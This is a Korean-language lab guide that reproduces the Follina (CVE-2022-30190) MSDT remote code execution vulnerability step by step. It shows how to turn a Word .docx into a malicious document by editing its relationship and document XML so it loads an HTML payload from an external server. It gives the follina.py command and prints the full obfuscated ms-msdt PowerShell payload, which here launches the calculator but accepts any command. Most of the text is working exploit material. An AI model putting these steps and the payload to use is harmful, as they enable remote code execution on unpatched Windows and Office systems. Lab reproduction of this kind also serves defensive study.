
CVE-2022-30190 (Follina) MSDT 원격 코드 실행 취약점에 대한 단계별 재현 가이드, 악성 문서 생성 및 C2 서버 설정 포함.
일명 Follina
Follina는 Microsoft 지원 진단 도구(MSDT)에 존재하며, 애플리케이션이 URL 프로토콜을 통해 MSDT를 호출하여 지원을 요청할 때 원격 코드 실행 취약점이 발생합니다. 성공적으로 익스플로잇될 경우 공격자는 실행 중인 애플리케이션의 권한을 기반으로 임의의 코드를 실행할 수 있습니다.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Step1 word 문서(.docx)를 생성하고, 문서 내에 OLE 개체(예: Bitmap Image)를 삽입합니다.
Step2 .docx 파일의 압축을 풀고, 폴더 안의 word/_rels/document.xml.rels 파일을 편집하여 아래 그림에서 노란색 배경의 Target="embeddings/oleObject1.bin"을
Target = "http://<payload_server>/<random_name>.html!"로 수정하고, 속성 TargetMode = "External"을 추가합니다.

Step3 폴더 안의 word/document.xml 파일을 편집하여 아래 그림에서 노란색 배경의 Type="Embed"를 Type="Link"로 수정하고, 속성 UpdateMode="OnCall"을 추가합니다.

Step4 7-zip을 사용하여 .docx 파일을 열고(압축 해제하지 않음), 위의 두 파일을 .docx 파일에 넣어 악성 문서 제작을 완료합니다.
John Hammond가 배포한 Follina.py를 다운로드합니다. 여기서는 기본적인 계산기 호출을 예로 듭니다.
python3 follina.py -c calc.exe -i eth0
Follina.py 파일의 117-125행은 주로 악성 페이로드(.html)를 제작하며, 내용은 다음과 같습니다. <script>location.href...는 피해자 호스트에서 계산기를 실행하는 스크립트입니다. 전체 파일에는 4096바이트 이상으로 채우기 위해 많은 무작위 문자가 포함됩니다. 그 이유는 “Follina” MSDT Attack을 참조하세요.
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script